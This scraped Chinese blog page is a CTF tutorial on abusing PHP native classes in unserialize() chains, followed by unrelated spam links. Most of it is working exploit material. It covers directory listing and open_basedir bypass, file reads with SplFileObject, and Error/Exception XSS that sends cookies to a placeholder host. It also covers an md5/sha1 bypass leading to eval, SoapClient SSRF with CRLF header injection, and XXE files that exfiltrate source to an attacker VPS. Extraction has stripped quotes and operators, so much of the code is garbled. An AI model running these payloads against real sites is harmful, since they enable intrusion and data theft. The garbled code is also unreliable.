当前位置: 首页 > news >正文

新国际网站建设seo推广介绍

新国际网站建设,seo推广介绍,网页制作与网站建设实战教程,营销推广的方式SPL介绍 SPL就是Standard PHP Library的缩写。据手册显示#xff0c;SPL是用于解决典型问题(standard problems)的一组接口与类的集合。打开手册#xff0c;正如上面的定义一样#xff0c;有许多封装好的类。因为是要解决典型问题#xff0c;免不了有一些处理文件…SPL介绍         SPL就是Standard PHP Library的缩写。据手册显示SPL是用于解决典型问题(standard problems)的一组接口与类的集合。打开手册正如上面的定义一样有许多封装好的类。因为是要解决典型问题免不了有一些处理文件的 这里是标准库PHP: SPL - Manual PHP原生类基础概念 PHP原生类就是在标准PHP库中已经封装好的类而在其中有些类具有一些功能例如文件读取、目录遍历等这就给了我们可乘之机我们只需要实例化这些类就可以实现文件读取这种敏感操作。 一些奇怪的题比如没有给出反序列化的类这个时候可能就需要用到PHP原生类了 我们可以通过如下脚本来获取调用了常见魔术方法的原生类 ?php $classes get_declared_classes(); foreach ($classes as $class) {$methods get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array(__destruct,__toString,__wakeup,__call,__callStatic,__get,__set,__isset,__unset,__invoke,__set_state // 如果题目中有其他的魔术方法可自行添加进来, 来遍历存在指定方法的原生类))) {print $class . :: . $method . \n;}} } 其输出结果如下 Exception::__wakeup Exception::__toString ErrorException::__wakeup ErrorException::__toString Error::__wakeup Error::__toString ParseError::__wakeup ParseError::__toString TypeError::__wakeup TypeError::__toString ArgumentCountError::__wakeup ArgumentCountError::__toString ArithmeticError::__wakeup ArithmeticError::__toString DivisionByZeroError::__wakeup DivisionByZeroError::__toString Generator::__wakeup ClosedGeneratorException::__wakeup ClosedGeneratorException::__toString ... 常用的有以下几个 Error Exception SoapClient DirectoryIterator SimpleXMLElement SplFileObject PHP 原生文件操作类  可遍历目录类 可遍历目录类分为下面三个 DirectoryIterator 类 FilesystemIterator 类 GlobIterator 类 DirectoryIterator 类  DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。当执行到echo函数时会触发DirectoryIterator类中的 __toString() 方法输出指定目录里面经过排序之后的第一个文件名 功能:遍历指定目录里的文件, 可以配合glob://协议使用匹配来寻找文件路径 ?php $dirnew DirectoryIterator(/); echo $dir; 这个查不出来什么如果想输出全部的文件名需要对$dir对象进行遍历遍历全部文件 ?php $dirnew DirectoryIterator(/); foreach($dir as $f){echo($f.br);//echo($f-__toString().br); //与上句效果一样 } 所以说echo触发了Directorylterator 中的__toString()方法   还可以配合glob://协议使用模式匹配来寻找我们想要的文件路径 也可以目录穿越确定已知的文件的具体路径 ?php $dirnew DirectoryIterator(glob://./././flag); //目录穿越 echo $dir; FilesystemIterator FilesystemIterator 类与 DirectoryIterator 类相同提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。 该类的使用方法与DirectoryIterator 类也是基本相同的(子类与父类的关系)就不细讲了 GlobIterator  GlobIterator 类也可以遍历一个文件目录但与上面略不同的是其行为类似于 glob()可以通过模式匹配来寻找文件路径。但是使用这个类不需要额外写上glob:// 它的特点就是只需要知道部分名称就可以进行遍历 Directorylterator类 与 FilesystemIterator 类当我们使用echo函数输出的时候会触发这两个类中的 __toString() 方法输出指定目录里面特定排序之后的第一个文件名。也就是说如果我们不循环遍历的话是不能看到指定目录里的全部文件的。而GlobIterator 类在一定程度上解决了这个问题。由于 GlobIterator 类支持直接通过模式匹配来寻找文件路径也就是说假设我们知道一个文件名的一部分我们可以通过该类的模式匹配找到其完整的文件名。例如例题里我们知道了flag的文件名特征为 以fl开头的文件因此我们可以通过 GlobIterator类来模式匹配 ?php $dirnew GlobIterator(/fl*); echo $dir; 绕过 open_basedir 参考 ​​​​​​open_basedir方法总结 · HacKerQWQs Studio PHP绕过open_basedir列目录的研究 | 离别歌 (leavesongs.com) open_basedir简介 Open_basedir是PHP设置中为了防御PHP跨目录进行文件目录读写的方法所有PHP中有关文件读、写的函数都会经过open_basedir的检查。Open_basedir实际上是一些目录的集合在定义了open_basedir以后php可以读写的文件、目录都将被限制在这些目录中。 利用DirectoryIterator Glob 直接列举目录 demo ?php $dir $_GET[7]; $a new DirectoryIterator($dir); foreach($a as $f){echo($f.br); ? # payload一句话的形式: $a new DirectoryIterator(glob:///*);foreach($a as $f){echo($f.br);}利用payload /?7glob:///* #列出根目录下所有文件 FilesystemIterator 与上面基本一致不再过多讨论 GlobIterator 根据该类特点 不用在配合glob://协议 一句话payload $a new GlobIterator(/*);foreach($a as $f){echo($f.br);} 可读取文件类 SplFileObject 类 SplFileObject 类和 SplFileinfo为单个文件的信息提供了一个高级的面向对象的接口可以用于对文件内容的遍历、查找、操作等 原理 该类的构造方法可以构造一个新的文件对象用于后续的读取。其大致原理可简单解释一下当类中__tostring魔术方法被触发时如果类中内容为存在文件名那么它会对此文件名进行内容获取。 ?php $dirnew SplFileObject(/flag.txt); echo $dir; ? 这样只能读取一行要想全部读取的话还需要对文件中的每一行内容进行遍历 ?php$dir new SplFileObject(/flag.txt);foreach($dir as $tmp){echo ($tmp.br);} ? 看看大佬的一个示例: echo new $this-key($this-value);       $this - a new $this-key($this-value);     echo $this-a; 没有pop链的思路和可利用反序列化的函数一般就是需要用原生类了。 只需要让$this-key值赋为我们想用原生函数$this-value赋为路径查就行了。但是这种构造类型的方法的局限性就是只能查一个路径上的第一个文件 除了可以用原生类利用进行文件操作类读文件的功能还可以利用php原生类来进行XSS,反序列化SSRFXXE 涉及的漏洞的几个运用 Error/Exception内置类 Error 内置类 使用条件: 适用于php7版本在开启报错的情况下 原理 Error类是php的一个内置类用于自动自定义一个Error在php7的环境下可能会造成一个xss漏洞因为Error中内置有个__toString()当对象被当作一个字符串使用时进行默认调用。而且我们能想办法控制它的内容在配合script/script标签就能实现到xss。包括但不仅限于echo 还有file_exist()判断也会进行触发 而因为Error可以传两个参数有个参数值的不同则对象不同也就不相等但对由于__toString()返回的值相同md5和sha1加密后也相同最后得到的数据也是一样的所以可以达到hash绕过 demo ?php $a unserialize($_GET[whoami]); echo $a; ? 这里可以看到是一个反序列化函数但是没有让我们进行反序列化的类这就遇到了一个反序列化但没有POP链的情况所以只能找到PHP内置类来进行反序列化 payload ?php $a new Error(scriptalert(xss)/script); $b serialize($a); echo urlencode($b); ? 这样就能成功xss Exception 内置类 适用于php5、7版本开启报错的情况下 原理用法同Error就不演示了 例题 [BJDCTF 2nd]xss之光 首先通过git泄露拿到源码 ?php $a $_GET[yds_is_so_beautiful]; echo unserialize($a); 看到仅仅一个反序列化函数并没有给出需要反序列化的类这就遇到了一个反序列化但没有POP链的情况所以只能找到PHP内置类来进行反序列化。又发现有个echo那么就是我们刚才演示的利用Error或Exception内置类进行XSS但是查看一下题目的环境发现是PHP 5所以我们要使用Exception类。 可以利用Exception内置类构造script/script语句一般xss的题 flag都是在cookie里所以我们利用XSS把cookie带出来由于此题是xss所以只要xss执行window.open()就能把flag带出来 ?php $poc new Exception(scriptwindow.open(http://ip/?document.cookie);/script); echo urlencode(serialize($poc)); ? 利用 Error/Exception 内置类进行hash绕过 ErrorException原生类不止可以xss还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较 在Error和Exception这两个PHP原生类中有 __toString 方法这个方法用于将异常或错误对象转换为字符串 以Error为例看看当触发他的 __toString 方法时会发生什么 ?php $a new Error(payload,1); echo $a; 结果如下 Error: payload in /usercode/file.php:2 Stack trace: #0 {main} 发现这将会以字符串的形式输出当前报错包含当前的错误信息payload以及当前报错的行号2而传入 Error(payload,1) 中的错误代码“1”则没有输出出来。 看看下一个demo ?php $a new Error(payload,1);$b new Error(payload,2); echo $a; echo $b; 输出如下 Error: payload in /usercode/file.php:2 Stack trace: #0 {main}Error: payload in /usercode/file.php:2 Stack trace: #0 {main} $a 和 $b 这两个new出来的Error对象本身是不同的但是 当对象被当作字符串操作时触发__toString 方法返回的结果是相同的。 Exception 类与 Error 的使用和结果完全一样只不过 Exception 类适用于PHP 5和7而 Error 只适用于 PHP 7。 Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用 提示由于报错信息包含当前的错误信息”payload”以及当前报错的行号”2” 。因此我们的$a 与 $b必须是在同一行否则无法满足 md5($a)md5($b).  同时如果是 ! 而不是!强比较的话还需要满足 new Error(null,1) 不同另一个应该是 new Error(null,2).    [2020 极客大挑战]Greatphp 源码 ?php error_reporting(0); class SYCLOVER {public $syc;public $lover;public function __wakeup(){if( ($this-syc ! $this-lover) (md5($this-syc) md5($this-lover)) (sha1($this-syc) sha1($this-lover)) ){if(!preg_match(/\\?php|\(|\)|\|\/, $this-syc, $match)){eval($this-syc);} else {die(Try Hard !!);}}} }if (isset($_GET[great])){unserialize($_GET[great]); } else {highlight_file(__FILE__); }? 需要进入eval()执行代码需要先通过上面的if语句。md5()和sha1()可以对一个类进行hash并且会触发这个类的 __toString 方法且当eval()函数传入一个类对象时也会触发这个类里的 __toString 方法 if( ($this-syc ! $this-lover) (md5($this-syc) md5($this-lover)) (sha1($this-syc) sha1($this-lover)) ){if(!preg_match(/\\?php|\(|\)|\|\/, $this-syc, $match)){eval($this-syc); 可以使用含有 __toString 方法的PHP内置类来绕过用的两个比较多的内置类就是 Exception 和 Error 他们之中有一个 __toString 方法当类被当做字符串处理时就会调用这个函数。 根据刚才讲的Error类和Exception类中 __toString 方法的特性我们可以用这两个内置类进行绕过。 由于题目用preg_match过滤了小括号无法调用函数所以我们尝试直接 include /flag 将flag包含进来即可。由于过滤了引号我们直接用url取反绕过即可。 ?phpclass SYCLOVER {public $syc;public $lover;public function __wakeup(){if( ($this-syc ! $this-lover) (md5($this-syc) md5($this-lover)) (sha1($this-syc) sha1($this-lover)) ){if(!preg_match(/\\?php|\(|\)|\|\/, $this-syc, $match)){eval($this-syc);} else {die(Try Hard !!);}}} } #/flag 取反后urlencode 为%D0%99%93%9E%98 $str ??include~.urldecode(%D0%99%93%9E%98).?; /* 或使用[~(取反)][!%FF]的形式 即: $str ??include[~.urldecode(%D0%99%93%9E%98).][!.urldecode(%FF).]?; */ $anew Error($str,1);$bnew Error($str,2); $c new SYCLOVER(); $c-syc $a; $c-lover $b; echo(urlencode(serialize($c))); 看下大佬的提示这里 $str ??include~.urldecode(%D0%99%93%9E%98).?; 中加上一个 ? 是因为 Exception 类与 Error 的 __toString 方法在eval()函数中输出的结果是不可能控的即输出的报错信息中payload前面还有一段杂乱信息“Error: ” Error: payload in /usercode/file.php:2 Stack trace: #0 {main} 进入eval()函数会类似于eval(...Error: ?php payload ?)。所以要用 ? 来闭合一下即 eval(...Error: ??php payload ?)这样payload便能顺利执行了。 payload: O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7DSoapClient内置类 PHP 的内置类 SoapClient 是一个专门用来访问web服务的类可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。 该内置类有一个 __call 方法当 __call 方法被触发后它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单就是当对象访问不存在的方法的时候就会触发。 该类的构造函数如下 public SoapClient :: SoapClient(mixed $wsdl [array $options ]) 第一个参数是用来指明是否是wsdl模式将该值设为null则表示非wsdl模式。第二个参数为一个数组如果在wsdl模式下此参数可选如果在非wsdl模式下则必须设置location和uri选项其中location是要将请求发送到的SOAP服务器的URL而uri 是SOAP服务的目标命名空间。 利用SoapClient内置类进行SSRF 【精选】CRLF注入漏洞响应截断攻击实战_crlf漏洞_归去来兮-zangcc的博客-CSDN博客 知道上述两个参数的含义后就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null然后第二个参数的location选项设置为target_url 在自己服务器上nc 监听一个端口 ?php $a new SoapClient(null,array(locationhttp://vpsip:port/, uriyun)); $b serialize($a); $c unserialize($b); $c-not-exists(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf ? 执行上述代码服务器端就可成功触发SSRF 由于它仅限于HTTP/HTTPS协议所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话但我们则可以通过SSRFCRLF插入任意的HTTP头。 我们在HTTP头中插入一个cookie ?php $target http://47.xxx.xxx.72:2333/; $a new SoapClient(null,array(location $target, user_agent google\r\nCookie: PHPSESSIDadvciwbvwiuwcaoxn, uri test)); $b serialize($a); echo $b; $c unserialize($b); $c-a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf ? 执行代码后成功在HTTP头中插入一个我们自定义的cookie 还可以伪造redis命令用http协议去打redis 对于发送POST数据包Content-Type 的值我们要设置为 application/x-www-form-urlencoded如何修改 Content-Type 的值呢由于 Content-Type 在 User-Agent 的下面所以我们可以通过 SoapClient 来设置 User-Agent 将原来的 Content-Type 挤下去从而再插入一个新的 Content-Type 。而且Content-Length的值需要与post的数据长度一致。而且http头跟post数据中间间隔\r\n\r\n,其他间隔\r\n。 因此脚本可以为 ?php $target http://ip:port/; $post_data datawhoami; $headers array(X-Forwarded-For: 127.0.0.1,Cookie: PHPSESSIDmsocaxbvwevbcwbd ); $a new SoapClient(null,array(location $target,user_agentnsoc^^Content-Type: application/x-www-form-urlencoded^^.join(^^,$headers).^^Content-Length: . (string)strlen($post_data).^^^^.$post_data,uriyun)); $b serialize($a); $b str_replace(^^,\n\r,$b); #echo $b; $c unserialize($b); $c-not_exists(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf ? 成功发送post数据包 例题 bestphps revenge php-session反序列化_php session反序列化_葫芦娃42的博客-CSDN博客 扫到一个flag的目录 当REMOTE_ADDR等于127.0.0.1时就会在session中插入flag就能得到flag显然要用ssrf 我们利用PHP原生类SoapClient触发反序列化导致SSRF。由于flag会被插入到session中所以我们需要携带一个cookie即PHPSESSID去访问它来生成这个session文件 payload ?php $target http://127.0.0.1/flag.php; $attack new SoapClient(null,array(location $target,user_agent google\r\nCookie: PHPSESSIDecnacaiub213aceiu24v4iuw\r\n,uri yun)); $payload urlencode(serialize($attack)); echo $payload;//O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22yun%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A52%3A%22google%0D%0ACookie%3APHPSESSID%3Decnacaiub213aceiu24v4iuw%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22yun%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A52%3A%22google%0D%0ACookie%3APHPSESSID%3Decnacaiub213aceiu24v4iuw%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 这里这个POC就是利用CRLF伪造本地请求SSRF去访问flag.php并将得到的flag结果保存在cookie为 PHPSESSIDecnacaiub213aceiu24v4iuw的session中。 来再认识一个函数call_user_func 函数 把第一个参数作为回调函数调用第一个参数是被调用的回调函数其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时会把第一个值当作类名第二个值当作方法进行回调. 所以首先可以f 传入extract 从而造成变量覆盖。 这里要知道call_user_func()函数如果传入的参数是array类型的话会将数组的成员当做类名和方法例如本题中可以先 f 传 extract 将b覆盖成call_user_func()。$a为数组其第一个参数reset($_SESSION)就是$_SESSION[name]可控。  SoapClient原生类可以触发SSRF 因此 我们可以传入nameSoapClient那么最后call_user_func($b, $a)就变成call_user_func(array(SoapClient,welcome_to_the_lctf2018)), 最终call_user_func(SoapClient-welcome_to_the_lctf2018)由于SoapClient类中没有welcome_to_the_lctf2018这个方法就会调用魔术方法__call()从而发送请求   这里没有反序列化点那么我们怎么办呢我们在题目源码中发现了session_start();很明显我们可以用session反序列化漏洞。但是如果想要利用session反序列化漏洞的话我们必须要有 ini_set() 这个函数来更改 session.serialize_handler 的值将session反序列化引擎修改为其他的引擎本来应该使用ini_set()这个函数的但是这个函数不接受数组所以就不行了。于是我们就用session_start()函数来代替即构造 session_start(serialize_handlerphp_serialize) 就行了。我们可以利用题目中的 call_user_func($_GET[f], $_POST); 函数传入GET/?fsession_start、POSTserialize_handlerphp_serialize实现 session_start(serialize_handlerphp_serialize) 的调用来修改此页面的序列化引擎为php_serialize。 所以我们第一次传值先注入上面的payload创建并得到我们的session 传入 GET: fsession_startname 上面的payload   POST: serialize_handlerphp_serialize 此时我们成功将我们php原生类SoapClient构造的payload传入了 PHPSESSIDecnacaiub213aceiu24v4iuw 的session中当页面重新加载时就会自动将其反序列化。但此时还不会触发SSRF需要触发 __call 方法来造成SSRF该方法在访问对象中一个不存在的方法时会被自动调用所以单纯反序列化还不行我们还需要访问该对象中一个不存在的方法这里就用到了如下这段代码 $a array(reset($_SESSION), welcome_to_the_lctf2018); call_user_func($b, $a); 我们可以利用extract函数将变量b覆盖为call_user_func这样就成了 call_user_func(call_user_func, array(reset($_SESSION), welcome_to_the_lctf2018)); call_user_func()函数有一个特性就是当只传入一个数组时可以用call_user_func()来调用一个类里面的方法call_user_func()会将这个数组中的第一个值当做类名第二个值当做方法名。 这样也就是会访问我们构造的session对象中的welcome_to_the_lctf2018方法而welcome_to_the_lctf2018方法不存在就会触发 __call 方法造成ssrf去访问flag.php。 然后传入 GET: fextractnameSoapClient    POST: bcall_user_func 最后我们第三次传参用我们payload里面自己设置的cookiePHPSESSIDecnacaiub213aceiu24v4iuw去访问这个页面var_dump($_SESSION); 会将 PHPSESSIDecnacaiub213aceiu24v4iuw 的这个session内容输出出来即可得到flag SimpleXMLElement 内置类 SimpleXMLElement 进行xxe SimpleXMLElement 这个内置类用于解析 XML 文档中的元素 通过设置第三个参数 data_is_url 为 true我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址即用于引入的外部实体的url。这样的话当我们可以控制目标调用的类的时候便可以通过 SimpleXMLElement 这个内置类来构造 XXE 例题 SUCTF2018-Homework 注册账号登陆作业平台有一个calc计算器。两个按钮一个用于调用calc类实现两位数的四则运算另一个用于另一个用于上传文件、提交代码 计算器类的代码为 ?php class calc{function __construct__(){calc();}function calc($args1,$method,$args2){$args1intval($args1);$args2intval($args2);switch ($method) {case a:$method;break;case b:$method-;break;case c:$method*;break;case d:$method/;break;default:die(invalid input);}$Expression$args1.$method.$args2;eval(\$r$Expression;);die(Calculation results:.$r);} } ? 点击CALC看一下根据url参数栏以及再根据calc类里面的内容发现这里module为调用的类args为类的构造方法的参数 所以可以通过这种形式调用PHP中的内置类通过调用 SimpleXMLElement 这个内置类来构造 XXE 首先我们在vps上构造如下evil.xml、send.xml和send.php这三个文件 evil.xml ?xml version1.0? !DOCTYPE ANY[ !ENTITY % remote SYSTEM http://vps/send.xml %remote; %all; %send; ] send.xml !ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourceindex.php !ENTITY % all !ENTITY #x25; send SYSTEM http://vps/send.php?file%file; send.php ?php file_put_contents(result.txt, $_GET[file]) ; ? 在url中构造如下 /show.php?moduleSimpleXMLElementargs[]http://vps/evil.xmlargs[]2args[]true 这样目标主机就能先加载我们vps上的evil.xml再加载send.xml。 就可以将网站的源码以base64编码的形式读取并带出到result.txt中这里vps出了点问题就暂时不能实现了反正就是这样做 使用 ReflectionMethod 类获取类方法的相关信息 例题[2021 CISCN]easy_source ?php class User {private static $c 0;function a(){return self::$c;}function b(){return self::$c;}function c(){return self::$c;}function d(){return self::$c;}function e(){return self::$c;}function f(){return self::$c;}function g(){return self::$c;}function h(){return self::$c;}function i(){return self::$c;}function j(){return self::$c;}function k(){return self::$c;}function l(){return self::$c;}function m(){return self::$c;}function n(){return self::$c;}function o(){return self::$c;}function p(){return self::$c;}function q(){return self::$c;}function r(){return self::$c;}function s(){return self::$c;}function t(){return self::$c;}}$rc$_GET[rc]; // 传入原生类名 $rb$_GET[rb]; // 传入类属性 $ra$_GET[ra]; // 传入类属性 $rd$_GET[rd]; // 传入类方法 $method new $rc($ra, $rb); // 实例化刚才传入的原生类 var_dump($method-$rd()); // 调用类中的方法 可以利用 PHP 内置类中的 ReflectionMethod 类中的 getDocComment() 方法来读取 User 类里面各个函数的注释。 ?rcReflectionMethodraUserrbardgetDocComment 遍历目录文件读取 例题CTFSHOW 愚人杯[被遗忘的反序列化] 代码如下 ?php# 当前目录中有一个txt文件哦 error_reporting(0); show_source(__FILE__); include(check.php);class EeE{public $text;public $eeee;public function __wakeup(){if ($this-text aaaa){echo lcfirst($this-text);}}public function __get($kk){echo $kk,eeeeeeeeeeeee;}public function __clone(){$a new cycycycy;$a - aaa();}}class cycycycy{public $a;private $b;public function aaa(){$get $_GET[get];$get cipher($get);if($get p8vfuv8g8v8py){eval($_POST[eval]);}}public function __invoke(){$a_a $this - a;echo \$a_a\$;} }class gBoBg{public $name;public $file;public $coos;private $eeee-_-;public function __toString(){if(isset($this-name)){$a new $this-coos($this-file);echo $a;}else if(!isset($this - file)){return $this-coos-name;}else{$aa $this-coos;$bb $this-file;return $aa();}} } class w_wuw_w{public $aaa;public $key;public $file;public function __wakeup(){if(!preg_match(/php|63|\*|\?/i,$this - key)){$this-key file_get_contents($this - file);}else{echo 不行哦;}}public function __destruct(){echo $this-aaa;}public function __invoke(){$this - aaa clone new EeE;} }$_ip $_SERVER[HTTP_AAAAAA]; unserialize($_ip); 看出口发现eval函数 class cycycycy{public $a;private $b;public function aaa(){$get $_GET[get];$get cipher($get);if($get p8vfuv8g8v8py){eval($_POST[eval]);}} 满足$get p8vfuv8g8v8py才可实现命令执行这里get参数被加密了所以用PHP原生类而且它提示了当前目录存在txt文件而Globlterator类只需要知道文件名的一部分就可以获取整个文件名因此我们可以通过它来寻找txt文件。如何触发Globlterator类呢当然是找有a(b)此类的且a,b均可控同时对函数进行输出此时看到gBoBg类中的__tostring方法 class gBoBg{public $name;public $file;public $coos;private $eeee-_-;public function __toString(){if(isset($this-name)){$a new $this-coos($this-file);echo $a;}else if(!isset($this - file)){return $this-coos-name;}else{$aa $this-coos;$bb $this-file;return $aa();}} } 所以我们可以给coos赋值为Globlterator给file赋值为*txt即可输出含有txt的文件名。 __tostring魔术方法是当函数被当做字符串时触发的因此我们找一个 这里w_wuw_w类中的key参数$this-key这个就可以作为__tostring的函数触发点。 class w_wuw_w{public $aaa;public $key;public $file;public function __wakeup(){if(!preg_match(/php|63|\*|\?/i,$this - key)){$this-key file_get_contents($this - file);}else{echo 不行哦;}} payload ?php class gBoBg{public $name1;public $file*txt;public $coosGlobIterator; } class w_wuw_w{public $aaa;public $key;public $file; } $g new w_wuw_w(); $g-key new gBoBg(); $g-file 123; echo serialize($g); 赋值给$_SERVER[HTTP_AAAAAA];这个是在请求头字段进行赋值可以直接添加 AAAAAA xxx实现赋值  发现h1nt.txt用SplFileObject类进行读取即可 ?php class gBoBg{public $name1;public $fileh1nt.txt;public $coosSplFileObject; } class w_wuw_w{public $aaa;public $key;public $file; } $g new w_wuw_w(); $g-key new gBoBg(); $g-file 123; echo serialize($g); 但是发现没有什么用我们直接找flag文件试试 ?php class gBoBg{public $name1;public $file/f*;public $coosGlobIterator; } class w_wuw_w{public $aaa;public $key;public $file; } $g new w_wuw_w(); $g-key new gBoBg(); $g-file 123; echo serialize($g); 发现flag文件了直接读取 吧 ?php class gBoBg{public $name1;public $file/f1agaaa;public $coosSplFileObject; } class w_wuw_w{public $aaa;public $key;public $file; } $g new w_wuw_w(); $g-key new gBoBg(); $g-file 123; echo serialize($g); 参考博客 浅谈php原生类的利用 2(ErrorSoapClientSimpleXMLElement)-CSDN博客 PHP常见内置类浅析 - FreeBuf网络安全行业门户 PHP原生类的利用 - 掘金 (juejin.cn) PHP 原生类的利用小结 - 先知社区 (aliyun.com) [php安全]原生类的利用 - Aur0ra* - 博客园 (cnblogs.com) 从一道CTF练习题浅谈php原生文件操作类-安全客 - 安全资讯平台 (anquanke.com)
http://www.zqtcl.cn/news/748904/

相关文章:

  • 做网站最简单的方法做网站开发挣钱吗
  • 网站建设基础入门国内免费的ip地址
  • wordpress 付费剧集网站坐什么网站能用到html5
  • 孝感房产网站建设wordpress E405
  • 做窗帘网站图片大全WordPress一键安装安全
  • 怎样查询网站的备案号广西住房和城乡建设厅网站证件
  • 网站区域名怎么注册网站群建设 中标
  • 官方网站 建设情况汇报网页设计开发培训
  • 门户网站的细分模式有房价暴跌开始了
  • 公司备案查询网站备案江苏省网站备案系统
  • 专业网站制作公司采用哪些技术制作网站?seo求职
  • 服装网页设计网站有个做名片什么的网站
  • 购买网站平台如何做分录泰安网站开发公司
  • 音乐介绍网站怎么做的光辉网络 石家庄网站建设
  • 沈阳网站建设搭建天元建设集团有限公司开票信息
  • 昆明网站建设公司哪家好预约网站模板
  • 自己怎么申请网站空间浙江省建设科技推广中心网站
  • 网站后台管理系统怎么添加框wordpress上传之后
  • 网站编辑属于什么行业义乌做网站哪家好
  • 沂水网站开发移动知识库管理系统
  • 成都有哪些网站建设的公司河南网站建设优化推广
  • 小说投稿赚钱的网站网站后台管理系统多少钱
  • 中国建设银行国际互联网网站网站是用什么做的
  • 做建设网站的活的兼职网络推广专员的岗位职责是
  • 韩国 网站设计保定网站开发公司
  • 发外链的网站都要企业注册网站建设的基本概念
  • 网站管理员有哪些权限中文域名网站好不好优化
  • wordpress主题 资源站关闭wordpress自动更新
  • 网站排名怎么上去创建全国文明城市我们应该怎么做
  • 网站 ftp自助建站信息网